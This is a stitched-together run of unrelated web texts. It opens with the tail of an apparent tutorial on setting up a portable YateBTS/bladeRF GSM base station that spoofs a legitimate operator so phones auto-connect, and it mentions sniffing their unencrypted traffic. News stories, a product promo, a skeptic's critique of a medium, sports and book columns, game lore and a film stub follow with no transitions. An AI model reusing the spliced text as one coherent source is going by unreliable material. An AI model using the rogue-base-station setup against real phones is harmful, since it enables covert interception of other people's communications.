Starting MBTS... Yate engine is initialized and starting up on raspberrypi RTNETLINK answers: File exists MBTS ready
At this point, the middle LED for your bladeRF should start blinking.
Test It!
Now, phones will start to automatically connect, this will happen because of the GSM implementation itself:
You can set whatever MCC, MNC and LAC you like, effectly spoofing any legit GSM BTS.
. Each phone will search for BTS of its operator and select the one with the strongest signal … guess which one will be the strongest? Yep … ours :D
Here’s a picture taken from my Samsung Galaxy S6 ( using the Network Cell Info Lite app ) which automatically connected to my BTS after 3 minutes:
From now on, you can configure the BTS to do whatever you want … either act as a “proxy” to a legit SMC ( with a GSM/3g USB dongle ) and sniff the unencrypted GSM traffic of each phone, or to create a private GSM network where users can communicate for free using SIP, refer to the YateBTS Wiki for specific configurations.
Oh and of course, if you plug the USB battery, the whole system becomes completely portable :)
References and Further ReadingsThe situation at Mitsubishi Motors just went from bad to much, much worse.
The Japanese automaker admitted Tuesday that it had falsified fuel efficiency tests for the past quarter century, the latest revelation in a scandal that has rocked the company.
Investors responded by pushing Mitsubishi shares down by 10%. The fuel test scandal has now erased half of the company's market value, and its shares are sitting at a record low.
The automaker said last week that it had used improper fuel economy tests on hundreds of thousands of vehicles, including some sold to Nissan (NSANF).
But the duration of improper testing disclosed by the company Tuesday was much broader than previously known.
Cars with inflated fuel efficiency ratings were sold only in Japan. Mitsubishi said it would ask lawyers from outside the company to investigate the tests.
Related: Toyota fends off scandal-plagued VW in global sales race
Japanese authorities raided Mitsubishi's offices last week.
The automaker won't include an earnings forecast when it announces results on Wednesday because of uncertainty over the scandal's impact, according to a senior company source.
The snafu follows a huge scandal that rocked Volkswagen (VLKAF) last year after it admitted rigging diesel engine emissions tests in America and Europe.
Related: Emission cheating costs VW $18 billion
Other automakers have been penalized in recent years for putting a rosy spin on fuel economy figures.
Korean carmakers Hyundai (HYMTF) and Kia agreed to pay a combined $100 million fine in the U.S. in 2014 for overstating fuel economy estimates for many of their vehicles. They also had to refund customers for the difference in estimated fuel costs.
That same year, Ford (F) said it would compensate owners of about 200,000 U.S. vehicles after discovering the cars' gas mileage was overstated.
-- Yoko Wakatsuki and Will Ripley contributed reporting.Copyright [2015] Benjamin Orgogozo
After unveiling the world’s best camera in a leading smartphone*, the world’s first 4K smartphone** – we asked ourselves – “what comes next?”…
As part of our recent photography trip to Rise Ski & Snowboard Festival in Les Deux Alpes, France, we created a 360 degree video shot entirely on 12x Xperia Z5 Compact devices, each filming simultaneously in 4K (by our count, that’s a total of 48Ks).
The short film is the result of an ambitious, creative R&D experiment, where each Xperia Z5 Compact device was mounted on a custom 3D printed rig. We set about capturing scenes from the slopes, including freestylers performing jaw dropping tricks in the park, high-speed racers on a giant slalom course and the stunning panorama looking out across some of the Alp’s best known peaks. The footage from each phone was painstakingly edited together to create our first 360 degree video, showcasing the unique capabilities of Xperia Z5’s camera technology.
It’s fully interactive, so feel free to explore the environment using the on-screen navigation keys. For a truly immersive experience, try watching on your Xperia Z5 series device or using Google Cardboard and the YouTube Android app.
If you’re at CES in Las Vegas this week – the video is currently premiering on our horizon screen above the Sony booth and the rig itself can be seen in the Xperia area, so be sure to drop by and check it out.
* Based on Sony Xperia™ Z5 /Z5 Compact’s main camera resolution, speed of autofocus and image quality assessment by 200 UK consumers, compared to Apple iPhone 6, Apple iPhone 6 Plus, HTC One M9, LG G4, Samsung Galaxy Note 4 and Samsung Galaxy S6 (being the “Leading Smartphones” defined by Strategy Analytics as the top six flagship devices according to shelf share in 2015). Camera resolution was compared to the top 100 selling smartphones of 2015 and verified by Strategy Analytics’ SpecTRAX & PriceTRAX Services as of 3rd July 2015. Consumer research was conducted by Strategy Analytics between 5-6th August 2015. Technical testing was conducted by Strategy Analytics on 7th August 2015. For more information, go to:www.sonymobile.com/testresults/
** Sony Xperia™ Z5 Premium features a 5.5inch 4K UHD (3840×2160), 806 pixels per inch display. Specifications verified by Strategy Analytics SpecTRAX service as of 1st September 2015. For more information on Strategy Analytics test results, go to: www.sonymobile.com/testresults.Project Gutenberg has David Hilbert’s Foundations of Geometry available. It is a translation of Hilbert’s Grundlagen der Geometrie, which is famous as the first modern axiomization of Euclidean geometry. The difference between Hilbert’s approach and that of Euclid is that Hilbert fills in all of the fiddly little details required to meet modern standards of rigor.
The book is elementary, and (as translated by Townsend) is a pleasant read. Much of the book centers around constructing the field of real numbers in terms of the axiomized geometrical constructions. This in turn allows Hilbert to show that the set of axioms is complete. The topic leads naturally to one of the main themes of research in plane geometry in the early part of the last century, which is to consider different algebraic objects and how they can serve as coordinates for different notions of affine or projective planes. The reals can be replaced with an arbitrary division ring, for example. For a projective plane, the most general object is a planar ternary ring, with has a ternary operation that serves as a hybrid of addition and multiplication. Determining the projective planes with a finite number of points is still an open question.Image copyright Getty Images
The menacing atmosphere at Deepcut barracks was the setting for physical, sexual and racial abuse, according to those who served there. In a BBC Two documentary, former trainee soldiers speak publicly about their experiences at the base.
Like Cheryl James they were there in the mid-90s. Deepcut has become synonymous with bullying, brutality and sexual harassment. During the inquest the Army acknowledged there was an abuse and misuse of power by some of those in charge of the mainly teenage trainees.
Dan Griffiths, now 38, joined up on the same day as Cheryl James in 1995. They were both 17 and did their 10 weeks basic training at Pirbright in Surrey. He says: "I'd always been that little Action Man as a kid and always wanted to join the Army." He describes the regime at Pirbright as "hard at the time but good fun."
After passing out, the recruits moved on to Deepcut barracks next door, headquarters of the Royal Logistic Corps. In contrast to the packed days at Pirbright, Dan Griffiths, like other rookie soldiers, found Deepcut an immediate disappointment. He remembers a camp with no structure. Instructors were mainly non-commissioned officers, corporals and sergeants. And some exuded fear and violence.
Media playback is unsupported on your device Media caption Dan Griffiths says the beating he received at Deepcut continued even after he'd been knocked unconscious
Dan Griffiths was small for his age, he weighed under nine stone. And he describes how one morning in the middle of a room inspection he was singled out by one NCO who used a broom handle to beat him unconscious. "He just came straight towards me. He didn't push me over with his hands, he just pushed me over with his body. You could see that he was angry and we didn't know why. He then stormed back out. Thirty seconds or so later he came back in with a broom handle. I felt the one hit, he broke my fingers and then he swung against my head and that's the last I remember really of that."
Find out more
Image copyright PA
You can watch Deepcut: The Army's Shame on Friday 3 June on BBC Two, at 21:00, or catch up afterwards on |
occasion. Houdini (1924) exposed many of these information-gathering techniques including using planted microphones to listen in on clients as they gathered in the mediums’ anterooms-a technique Houdini himself used to impress visitors with his “telepathy” (Gibson 1976, 13). Reformed medium M. Lamar Keene’s The Psychic Mafia (1976) describes such methods as conducting advance research on clients, sharing other mediums’ files (what Keene terms “mediumistic espionage”), noting casual remarks made in conversation before a reading, and so on.
An article in Time magazine suggested John Edward may have used just such chicanery. One subject, a marketing manager named Michael O'Neill had received apparent messages from his dead grandfather but, when his segment aired, he noted that it had been improved through editing. According to Time's Leon Jaroff (2001):
Now suspicious, O'Neill recalled that while the audience was waiting to be seated, Edward’s aides were scurrying about, striking up conversations and getting people to fill out cards with their name, family tree and other facts. Once inside the auditorium, where each family was directed to preassigned seats, more than an hour passed before show time while “technical difficulties” backstage were corrected.
Edward has a policy of not responding to criticism, but the executive producer of Crossing Over insists: “No information is given to John Edward about the members of the audience with whom he talks. There is no eavesdropping on gallery conversations, and there are no 'tricks’ to feed information to John.” He labeled the Time article “a mix of erroneous observations and baseless theories” (Nordlander 2001).
Very Hot
Be that as it may, on Dateline Edward was actually caught in an attempt to pass off previously gained knowledge as spirit revelation. During the session he said of the spirits, “They're telling me to acknowledge Anthony,” and when the cameraman signaled that was his name, Edward seemed surprised, asking “That’s you? Really?” He further queried: “Had you not seen Dad before he passed? Had you either been away or been distanced?” Later, playing the taped segment for me, Dateline reporter John Hockenberry challenged me with Edward’s apparent hit: “He got Anthony. That’s pretty good.” I agreed but added, “We've seen mediums who mill about before sessions and greet people and chat with them and pick up things.”
Indeed, it turned out that that is just what Edward had done. Hours before the group reading, Tony had been the cameraman on another Edward shoot (recording him at his hobby, ballroom dancing). Significantly, the two men had chatted and Edward had obtained useful bits of information that he afterward pretended had come from the spirits. In a follow-up interview Hockenberry revealed the fact and grilled an evasive Edward:
HOCKENBERRY: So were you aware that his dad had died before you did his reading? Mr. EDWARD: I think he-I think earlier in the-in the day, he had said something. HOCKENBERRY: It makes me feel like, you know, that that’s fairly significant. I mean, you knew that he had a dead relative and you knew it was the dad. Mr. EDWARD: OK. HOCKENBERRY: So that’s not some energy coming through, that’s something you knew going in. You knew his name was Tony and you knew that his dad had died and you knew that he was in the room, right? That gets you... Mr. EDWARD: That’s a whole lot of thinking you got me doing, then. Like I said, I react to what’s coming through, what I see, hear and feel. I interpret what I'm seeing hearing and feeling, and I define it. He raised his hand, it made sense for him. Great. HOCKENBERRY: But a cynic would look at that and go, 'Hey,' you know, 'He knows it’s the cameraman, he knows it’s DATELINE. You know, wouldn't that be impressive if he can get the cameraman to cry?' Mr. EDWARD: Absolutely not. Absolutely not. Not at all.
But try to weasel out of it as he might, Edward had obviously been caught cheating: pretending that information he had gleaned earlier had just been revealed by spirits and feigning surprise that it applied to Tony the cameraman. (And that occurred long before Time had suggested that an Inside Edition program-February 27, 2001-was probably “the first nationally televised show to take a look at the Edward phenomenon.” That honor instead goes to Dateline NBC.)
In his new book Crossing Over, Edward tries to minimize the Dateline exposé, and in so doing breaks his own rule of not responding to criticism. He rebukes Hockenberry for “his big Gotcha! moment,” adding:
Hockenberry came down on the side of the professional skeptic they used as my foil. He was identified as Joe Nickell, a member of the Committee for the Scientific Investigation of Claims of the Paranormal, which likes to simplify things and call itself CSICOP. He did the usual sound bites: that modern mediums are fast-talkers on fishing expeditions making money on people’s grief-"the same old dogs with new tricks,” in Hockenberry’s words.
Edward claims to ignore any advance information that he may get from those he reads, but concedes, “it’s futile to say this to a tough skeptic” (Edward 2001, 242-243).
Edward may have benefitted from actual information on another occasion, while undergoing a “scientific” test of his alleged powers (Schwartz et al. 2001). In video clips shown on Dateline, Edward was reading subjects-who were brought into the hotel room where he sat with his back to the door-when he impressed his tester with an atypical revelation. Edward stated he was “being shown the movie Pretty in Pink ” and asked if there was “a pink connection.” Then he queried, “Are you, like, wearing all pink?” The unidentified man acknowledged that he was. Yet Edward had thought the subject was a woman, and I suspect that erroneous guess was because of the color of his attire; I further suspect Edward knew it was pink, that as the man entered the room Edward glimpsed a flash of the color as it was reflected off some shiny surface, such as the glass of a picture frame, the lens of the video camera, etc. I challenge Edward to demonstrate his reputed color-divining ability under suitably controlled conditions that I will set up.
Inflating “Hits”
In addition to shrewd cold reading and out-and-out cheating, “psychics” and “mediums” can also boost their apparent accuracy in other ways. They get something of a free ride from the tendency of credulous folk to count the apparent hits and ignore the misses. In the case of Edward, my analysis of 125 statements or pseudostatements (i.e., questions) he made on a Larry King Live program (June 19, 1998) showed that he was incorrect about as often as he was right and that his hits were mostly weak ones. (For example he mentioned “an older female” with “an M-sounding name,” either an aunt or grandmother, he stated, and the caller supplied “Mavis” without identifying the relationship; see Nickell 1998.)
Another session-for an episode of Crossing Over attended by a reporter for The New York Times Magazine, Chris Ballard (2001)-had Edward “hitting well below 50 percent for the day.” Indeed, he twice spent “upward of 20 minutes stuck on one person, shooting blanks but not accepting the negative responses.” This is a common technique: persisting in an attempt to redeem error, cajoling or even browbeating a sitter (as Sylvia Browne often does), or at least making the incorrect responses seem the person’s fault. “Do not not honor him!” Edward exclaimed at one point, then (according to Ballard) “staring down the bewildered man.”
When the taped episode actually aired, the two lengthy failed readings had been edited out, along with second-rate offerings. What remained were two of the best readings of the show (Ballard 2001). This seems to confirm the allegation in the Time article that episodes were edited to make Edward seem more accurate, even reportedly splicing in clips of one sitter nodding yes “after statements with which he remembers disagreeing” (Jaroff 2001).
Edited or not, sessions involving a group offer increased chances for success. By tossing out a statement and indicating a section of the audience rather than an individual, the performing “medium” makes it many times more likely that someone will “acknowledge” it as a “hit.” Sometimes multiple audience members will acknowledge an offering, whereupon the performer typically narrows the choice down to a single person and builds on the success. Edward uses just such a technique (Ballard 2001).
Still another ploy used by Edward and his fellow “psychic mediums” is to suggest that people who cannot acknowledge a hit may find a connection later. “Write this down,” an insistent Edward sometimes says, or in some other way suggests the person study the apparent miss. He may become even more insistent, the positive reinforcement diverting attention from the failure and giving the person an opportunity to find some adaptable meaning later (Nickell 1998).
Debunking Versus Investigation
Some skeptics believe the way to counter Edward and his ilk is to reproduce his effect, to demonstrate the cold-reading technique to radio and TV audiences. Of course that approach is unconvincing unless one actually poses as a medium and then-after seemingly making contact with subjects’ dead loved ones-reveals the deception. Although audiences typically fall for the trick (witness Inside Edition’s use of it), I deliberately avoid this approach for a variety of reasons, largely because of ethical concerns. I rather agree with Houdini (1924, xi) who had done spiritualistic stunts during his early career:
At the time I appreciated the fact that I surprised my clients, but while aware of the fact that I was deceiving them I did not see or understand the seriousness of trifling with such sacred sentimentality and the baneful result which inevitably followed. To me it was a lark. I was a mystifier and as such my ambition was being gratified and my love for a mild sensation satisfied. After delving deep I realized the seriousness of it all. As I advanced to riper years of experience I was brought to a realization of the seriousness of trifling with the hallowed reverence which the average human being bestows on the departed, and when I personally became afflicted with similar grief I was chagrined that I should ever have been guilty of such frivolity and for the first time realized that it bordered on crime.
Of course tricking people in order to educate them is not the same as deceiving them for crass personal gain, but to toy with their deepest emotions-however briefly and well intentioned-is to cross a line I prefer not to do. Besides, I believe it can be very counterproductive. It may not be the alleged medium but rather the debunker himself who is perceived as dishonest, and he may come across as arrogant, cynical, and manipulative-not heroic as he imagines.
As well, an apparent reproduction of an effect does not necessarily mean the cause was the same. (For example, I have seen several skeptical demonstrations of “weeping” icons that employed trickery more sophisticated than that used for “real” crying effigies.) Far better, I am convinced, is showing evidence of the actual methods employed, as I did in collaboration with Dateline NBC.
Although John Edward was among five “highly skilled mediums” who allegedly fared well on tests of their ability (Schwartz et al. 2001)-experiments critiqued elsewhere in this issue (Wiseman and O'Keeffe, see page 26)-he did not claim validation on Larry King Live. When King (2001) asked Edward if he thought there would ever be proof of spirit contact, Edward responded by suggesting proof was unattainable, that only belief matters: “... I think that to prove it is a personal thing. It is like saying, prove God. If you have a belief system and you have faith, then there is nothing really more than that.” But this is an attempt to insulate a position and to evade or shift the burden of proof, which is always on the claimant. As Houdini (1924, 270) emphatically stated, “It is not for us to prove the mediums are dishonest, it is for them to prove that they are honest.” In my opinion John Edward has already failed that test.
Acknowledgments
I appreciate the assistance of Tom Flynn who helped me analyze the video clips mentioned in the text and refine the hypothesis that Edward may have glimpsed a reflection. I am also grateful to Tim Binga, Barry Karr, Kevin Christopher, Ben Radford, and Ranjit Sandhu for other assistance.
ReferencesColumns -
Patience and priorities
BY MAURICE HAMILTON
Interesting post-Singapore debate over Lewis Hamilton. Okay! Okay! Don't go away: I know we've been here before. Bear with me because I'm not necessarily referring to Hamilton's questionable incidents; it's the punishment handed down by race stewards advised, on this occasion, by ex-F1 driver Heinz-Harald Frentzen.</p> <p>On Sunday, Hamilton tagged the back of Felipe Massa, these two seemingly joined at the wheel nuts this season following carbon-sharing moments at Monaco, Silverstone and oh-so-nearly Singapore during qualifying on Saturday. (Quite what Hamilton thought he was doing trying to pass Massa at the start of Q3 -one of the most high-concentration moments of the weekend - I'll never know. Hamilton's excuse: 'The guys try to back you up and I was ready to get going' says everything about an impetuosity which can be so engaging and damaging at the same time. And where was the management that cannot find space among just six cars on a 3.1-mile lap, even allowing for time being tight at this track?). </p> <p>In the race, however, Lewis really did make contact, wrecking his nose cone and puncturing Massa's right-rear. They were fighting over fourth place and the incident did serious damage to the hopes of two drivers - particularly Massa - in serious need of a good result. By the time Massa had limped to the pits and rejoined, he was near the back of the field. Hamilton lost two places - and then several more when the stewards issued a drive-through for his trouble. It is this decision which has caused debate.</p> <p>I was talking to Pat Symonds, Pat having seen his drivers suffer all manner of penalties, most notably Michael Schumacher during their Benetton days when Schuey either had the book thrown at him or got off with a slap on the wrist for an offense worthy of having his $1m sponsored cap removed for a year. Pat agreed about who was guilty on Sunday, but not necessarily with the penalty.</p> <p>"It was Lewis's fault," says Symonds. "I would have expected him to lift out of that. It was a little bit more than a misjudgement; a little bit impetuous. But was the penalty correct? The penalty should be about what could happen; not what did happen. I can't help feel that if he had knocked his nose off and not punctured Massa's tyre, it might have been a different penalty. If that's the case, then that's wrong."</p> <p>Interesting. I see it the other way. I would have thought that Massa's problem, inflicted by Hamilton, was precisely why Lewis received the drive-through. The fact that Hamilton also had to make a stop for a new nose is irrelevant. The argument is that he caused a problem for another competitor when - and this is the important bit - that incident could have been avoided. Of course, the fact that Hamilton keeps finding himself in these difficult positions when his team-mate is driving beautifully towards the podium is another question entirely. </p> <p>A couple of other Singapore-related questions: Was the race too long? And should something be done about shuffling lapped cars to the back of the pack behind the Safety Car?</p> <p>When the Grand Prix finished, I couldn't make up my mind whether or not I rated it as a 'good race'. It struck me that as a spectacle in unique surroundings under flood lights, this race is second to none. But once you have removed that factor and the inevitable street-circuit incidents from the equation, what are you left with? Had it not been for Jenson Button's brilliant on-the-limit charge, the last 12 laps would have been 12 laps too many. And argument for cutting the two-hour race by 20 minutes, perhaps?</p> <p>And how much better would the race have been had the three back-markers separating Sebastian Vettel from Button been waved through before the restart on lap 34? By the time Vettel took the green flag, he was already four seconds ahead of the hapless Button. When Jenson finally untangled himself two laps later, the Red Bull was 10 seconds down the road. Game over!</p> <p>The argument against is the time it would take to reorganise the pack, particularly over such a long and relatively slow lap. But would this not be better than ruling out a potentially intense scrap for the lead simply because seemingly endless televised laps starring the SLS AMG Mercedes Safety Car please no one but the marketing director of Daimler AG? </p> <p>It's a question of priorities and being reasonably patient. Which brings us neatly back to Lewis Hamilton.</p> <p><script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script><fb:like href="http://www.grandprix.com/columns/maurice-hamilton/patience-and-priorities.html" layout="box_count"></fb:like>Unsealed court documents offer an troubling look at Lolita the orca whale’s life in a Miami pool she shares with two dolphins. Lolita was caught in 1970 in Penn Cove and is the lone survivor of the Northwest whales sent to captivity.
Lolita, a Northwest orca whale living at Seaquarium in Miami, has suffered scrapes and other health problems, according to recently unsealed court documents that offer an unsettling look at the life of the whale captured in 1970.
The documents were written by four expert witnesses who visited Seaquarium, and reviewed medical and other records, on behalf of plaintiffs who challenged the conditions of the whale’s captivity. They found that 20-foot-long Lolita has a troubled relationship with two Pacific white-sided dolphins that live with her in an oblong pool that is 80 feet across at its widest point.
These dolphins scraped Lolita’s skin with their teeth more than 50 times in 2015. Through a review of the records and their own on-site observations, the plaintiff’s’ experts concluded that the dolphins — rather than being best buddies with Lolita — are often at odds with the whale.
“In reality, they harass and injure her, often to the point she needs antibiotics and painkillers for bleeding open wounds,” wrote John Hargrove, a former SeaWorld killer- whale trainer whose February report was one of four expert-witness reports unsealed recently — at the request of the plaintiffs — by U.S. District Judge Ursula Ungaro after her June decision to dismiss a lawsuit that sought to gain the whale’s release. The plaintiffs include People for the Ethical Treatment of Animals (PETA) and the Washington-based Orca Network.
Another expert witness, Ingrid Visser of the Orca Research Trust, noted that at least one of the dolphins engaged in sexual behavior with Lolita, including pelvic thrusts while mounted on top of the orca. Visser, a marine scientist, described such activity as “completely inappropriate,” and cited records in her report of the whale exhibiting sexual behavior toward a dolphin.
Seaquarium, in a statement responding to the unsealing of these reports, rejected claims that they documented poor treatment of the whale. The statement said Lolita is one of the healthiest orcas ever examined, and “she greatly enjoys her Pacific White Sided Dolphins as companions.”
Orcas, also known as killer whales, are found in many of the world’s oceans. Lolita was captured from the southern-resident population, which spends time in Puget Sound, and is listed under the Endangered Species Act.
The three pods in the population were reduced in a series of controversial roundups by marine parks between 1965 and 1975 that left at least 11 whales dead and sent 36 to exhibitors, according to Visser.
Lolita, also known as Tokitae, was caught in 1970 in Penn Cove and is the lone survivor of the Northwest whales sent to captivity. In February of last year, the National Oceanic and Atmospheric Administration (NOAA) announced that Lolita, though captive, would be listed — along with the wild orcas — as protected under the federal Endangered Species Act.
“This is a listing decision,” said Will Stelle, the NOAA Fisheries regional administrator for the West Coast at the time of the decision. “It is not a decision to free Lolita.”
Whale activists have long sought to get Lolita out of Seaquarium. And, they hoped the ruling would give them new legal leverage to see that Lolita was returned to the Pacific Northwest, possibly to live in a sea pen.
And once they secured the ruling, they filed a lawsuit in U.S. District Court of Southern Florida alleging that Lolita’s conditions of captivity violated the Endangered Species Act. The act prohibits a “take” of a listed species, which the law says includes harassment and harm.
The plaintiffs tried unsuccessfully to convince Ungaro that conditions of captivity, including an undersized tank, no protection from the shade and the dolphin harassment constituted a violation of the Endangered Species Act, and justified her removal from Seaquarium, where she performs with trainers for the facility’s customers.
Ungaro, in dismissing the lawsuit to remove Lolita from Seaquarium, concluded that the conditions though, less than ideal, had not been found to violate the Animal Welfare Act, which is intended to provide for humane treatment in captivity.
Only if Lolita faced “grave harm” would an exhibitor be in violation of the Endangered Species Act, Ungaro concluded.
The judge also noted that the plaintiffs’ experts opinions about the causes of the whale’s medical conditions had a “speculative and unreliable quality.”
Jared Goodman, PETA Foundation’s director of animal law, says “the court adapted a very narrow interpretation of the Endangered Species Act,’ and the decision is being appealed.
After the June decision dismissing the lawsuit, the plaintiffs moved to unseal the reports of their four expert witnesses that include both their observations of Lolita and notes from their review of Seaquarium records that had been kept from public view through the course of the lawsuit.
The reports included information about the whale’s medical records. Veterinarian Pierre Javier Gallego Reyes, for example, wrote about tooth painthat resulted in some teeth being drilled and found the whale also suffered from dehydration.
The whale also has an inflammatory eye condition that is treated with daily drops, according to the reports.
After the lawsuit was dismissed, Seaquarium attorneys fought to keep the reports under seal, arguing in a court brief that some of the information was “highly confidential and highly sensitive” and that the defendant had a strong interest in “protecting specific medical and highly personal information” about the captive orca.
Responding to the public release of these reports, Seaquarium, in the written statement, said that for 46 years, Lolita has been “lovingly cared for.” The statement added that Lolita plays an important role in educating the public about the need to conserve the marine environment, and will continue to be “an ambassador for her species from her home at Miami Seaquarium.”Flying your drone safely and legally (current rules) Rules and regulations, fines and penalties, safety tips.
Flying your drone safely and legally (new rules) New rules and regulations, fines and penalties, safety tips, coming into effect June 1, 2019.
Find your category of drone operation Basic and advanced operations, special flight operations.
Choosing the right drone Safety assurance ratings and requirements.
Registering your drone How to register, benefits, penalties, managing your registration.
Where to fly your drone Search the interactive map, sharing airspace safely, prohibited areas.
Getting a drone pilot certificate Eligibility, taking an exam, completing a flight review.
Find a drone flight school Drone flight training, list of schools.
Getting permission to fly your drone Find out if you need a special certificate or exemption.
Report a drone incident Complete a drone incident report form.
Becoming a flight reviewer for drones Eligibility, getting your flight reviewer rating online, recency requirements.Image: University of Illinois Distributed Museum
Nearly 60 years ago, in the modest college towns of Urbana and Champaign, Illinois, an educational computer system, built with federal funding acquired amid the space race, took its first formative steps toward existence.
It took more than a decade, and four iterations, for the mainframe machine and its many terminals to reach their full potential—everything had to be be built from scratch.
And when these educational terminals finally became good enough for regular use, the thousands of connected high school and college students immediately used them to program numerous chat apps and games.
Such is the life of the PLATO (Programmed Logic for Automatic Teaching Operations), the first computer-assisted learning system in wide use. The technology—which by its fourth iteration, released in 1972, had become a networked computing platform that relied on a mixture of mainframes, terminals, phone lines, and custom programming tools—clearly inspired what came next.
PLATO V Terminal with plasma display 1981 Image: Mtnman79 /Wikimedia Commons
Some of the most popular pieces of software ever made, including Lotus Notes and Microsoft Flight Simulator, share a direct lineage with the applications produced by students at the University of Illinois Urbana-Champaign (UIUC) and other nearby universities more than 40 years ago. Many more, such as Reddit, Twitter, and AOL, carry clear inspiration, whether their creators know it or not. And this platform generated some of the earliest examples of digital culture, including emoticons and interactive storytelling.
Brian Dear, a onetime PLATO user at the University of Delaware, has spent roughly two decades gathering up every scrap of information available about the system for his new book, The Friendly Orange Glow (Pantheon, $40), released this week.
Dear, who conducted hundreds of interviews for the book, noted that the long development process, led by engineer Donald Bitzer, was necessary because they didn’t have modern advantages like open-source software or cloud computing. All they had at first, really, was an idea and a complex, somewhat rickety machine built by the university called the ILLIAC I, which was later upgraded to another mainframe.
“There was no software. There were no terminals. There was basically no hardware. They had to literally invent everything from scratch,” Dear noted in a phone interview.
These constraints helped inspire one of PLATO’s most notable inventions, the flat-screen plasma display (which, of course, had a monochrome orange glow to it). The design of the display, which put individual dots on the screen rather than stored characters, helped get around the prohibitively high cost of RAM at the time, which would have pushed up the cost of using a traditional monitor. Another key innovation of the system Dear calls the “fast round trip,” the ability to display information from the network on the screen instantaneously, with no delay, which made the terminals snappy despite slow modem speeds.
These innovations, among others, enabled educators to build graphical, interactive teaching tools, especially as PLATO’s programming languages became more advanced. Students especially took to the machine’s capabilities and pushed its limits, developing the first multi-user dungeons, space-based games, forum software, and even a popular online news outlet that aggregated stories from printed publications. One such game, the Star Trek-themed Empire, is considered one of the first networked multiplayer action games ever produced and frequently pushed the limits of the primitive platform. Eventually, the games gave way to some of the earliest chat programs, like Talkomatic, which helped influence the PLATO platform as a whole. These innovations came about despite the fact that there was no profit motive driving the creation of new apps. It was all for social status and personal learning.
Despite these programs pushing the idea beyond its mission, UIUC’s Computer-based Education Research Laboratory, which developed PLATO, largely took a hands-off approach.
“What you basically saw was the rise of these users turning this platform into a real community, and taking it in directions that no one—none of the adult supervision, as it were—had anticipated,” Dear explained. “Though, thankfully, the adults noticed that this was all very powerful and compelling and turned a lot of the stuff into, you know, official features of the system.”
You may be wondering: Why am I hearing about this for the first time? And why did Dear have to write a 640-page book to bring this long history to light?
The answer, simply, is that PLATO’s eventual commercialization, at the behest of mainframe supplier and eventual licensee Control Data Corporation, did not go well, partly because its mainframe-based setup was out of date and partly because UIUC’s best innovations, like its plasma screen, didn’t make it into the commercial product—understandable because the PLATO IV terminals cost between $5,000 and $7,000 each in 1972. There were some pockets of success in the corporate world and in academia, but the dream of turning the network into a proto-AOL—pitched by UIUC’s Bitzer when the university first discussed commercializing the technology—never came to pass.
Dear noted that he had enough material for three books worth of PLATO stories, which seems impressive considering the amount of ground he covers here. The book picks up as soon as high schoolers and UIUC students get their fingers on the keyboards, with Dear capturing a forgotten culture full of modern-day parallels, highlighting the ways that some PLATO users, like former Microsoft executive Ray Ozzie, parlayed their experiences into later success. Dear spends a lot of time explaining complex systems from a different era, almost by necessity, but readers willing to dig through the technical will get rewarded with anecdotes that genuinely show how those systems eventually changed the world.
“There’s so much history here and interesting stories about innovation and early examples of pretty much everything we take for granted today, and yet, none of this has ever been known in the mainstream,” Dear added.
It would take another generation for PLATO’s biggest lessons to really take hold in a meaningful way. But let it be known that Illinois had them first.Magnitude-5.7 earthquake strikes south-east Japan, USGS says; tsunami warnings lifted
Updated
An earth tremor of magnitude 5.7 has struck 185 kilometres south-south-east of Japan's Izu islands on Saturday, the United States Geological Survey has said.
The USGS at first put the quake at 6.1, but later revised it to a weaker reading. Japanese authorities put the magnitude of the quake at 5.9.
The tremor was at a shallow depth of 10 kilometres.
Tsunami warnings were lifted for the Izu and Ogasawara islands after they experienced small waves following the earthquake, public broadcaster NHK said.
Tsunamis of up to 50 centimetres were recorded in the islands stretching south of Tokyo, before the Japan Meteorological Agency lifted warnings at 4:10 am local time, NHK said.
Reuters
Topics: earthquake, disasters-and-accidents, japan, asia
First postedInstalling security dealers and integrators can receive benefits to facilitate ongoing business development, including sales leads and personalized technical support.
NEW ORLEANS – Leviton has established a new dealer program for installing contractors that provide automation solution solutions for the residential and commercial markets.
Members of the new Five Star Dealer Program will receive meaningful benefits to facilitate support and ongoing business development, including sales leads, personalized technical support and customized marketing resources, according to Leviton, based here.
Additionally, members are provided a toll-free technical support number to elevate the installer in the queue with access to top technical support, plus online training with installation information, showroom discount opportunities and exclusive events.
READ NEXT: Consumer Reports Launches Effort to Create Security Standards for IoT Devices
“The revered Leviton Five Star Dealer Program connects our global installer base on a personal level, enhances support mechanisms, increases procedural acumen, and offers tools to grow their overall businesses,” says Greg Rhoades, director of marketing for Leviton energy management, controls and automation. “We are already receiving applications from all over the world and look forward to growing together throughout 2017.”
In addition to earning Five Star dealer status, installation companies can elevate to the Elite tier by achieving region-specific sales goals. For U.S.-based dealers, the Elite tier features additional training and business development incentives based upon qualifying dollars from participating distributors. Once Leviton records indicate a sales goal has been achieved, a marketing consultation occurs to determine training and business development opportunities.
To learn more, go here.19 JUL 3301
The Unfettering of the Pegasi Sector
The Kumo Crew has been known to brand free citizens as slaves and ferry them to an uncertain fate in their capital system, Harma. The Imperial blockade of Harma and the surrounding systems has intercepted thousands of these slaves, many of whom are emaciated, deeply bruised, and otherwise afflicted.
One fresh graduate of the Imperial Naval Academy had this to say regarding his observations:
"10 years ago my family had a slave. It wasn't until he paid his debts and returned to his family that I learned he was not my brother. My father told me on that day to remember Peter, my “older brother,” because I too may become indebted, or sponsor a slave like my "brother." That is Imperial Slavery. This... this slavery must be destroyed."
Philanthropic representatives of Sirius Corp. have extended humanitarian services by returning the slaves, liberated by the Imperial fleet, to their homes and families.Photo via John Mayer/Facebook
John Mayer is recovering from the emergency appendectomy he underwent yesterday and is in good spirits.
The Dead & Company concerts scheduled for December 7 in Orlando, Florida and December 8 in Sunrise, Florida, in addition to the December 5 show in New Orleans, are postponed. pic.twitter.com/ciffjSFxKS — Dead & Company (@deadandcompany) December 6, 2017
The Dead & Company show scheduled for Dec. 7 at the Amway has been cancelled because John Mayer really needed to get his appendix removed.Live Nation confirmed this morning that Mayer is recovering from an emergency appendectomy that occurred yesterday. Besides the Orlando show, the show on Dec. 8 in Sunrise, Florida, has also been cancelled.The company says that all tickets will be honored for the rescheduled dates and that any information on the rescheduled concerts will be announced as soon as possible.Shortcut to Happiness is a 2007 film adaptation of the Stephen Vincent Benet classic short story The Devil and Daniel Webster. It stars Alec Baldwin, Jennifer Love Hewitt and Anthony Hopkins. Baldwin also directed the film. Shot in early 2001 in New York City, the film was plagued with financial difficulties and was shelved for several years. Yari Film Group eventually bought and released the film to theaters in 2007.
Plot [ edit ]
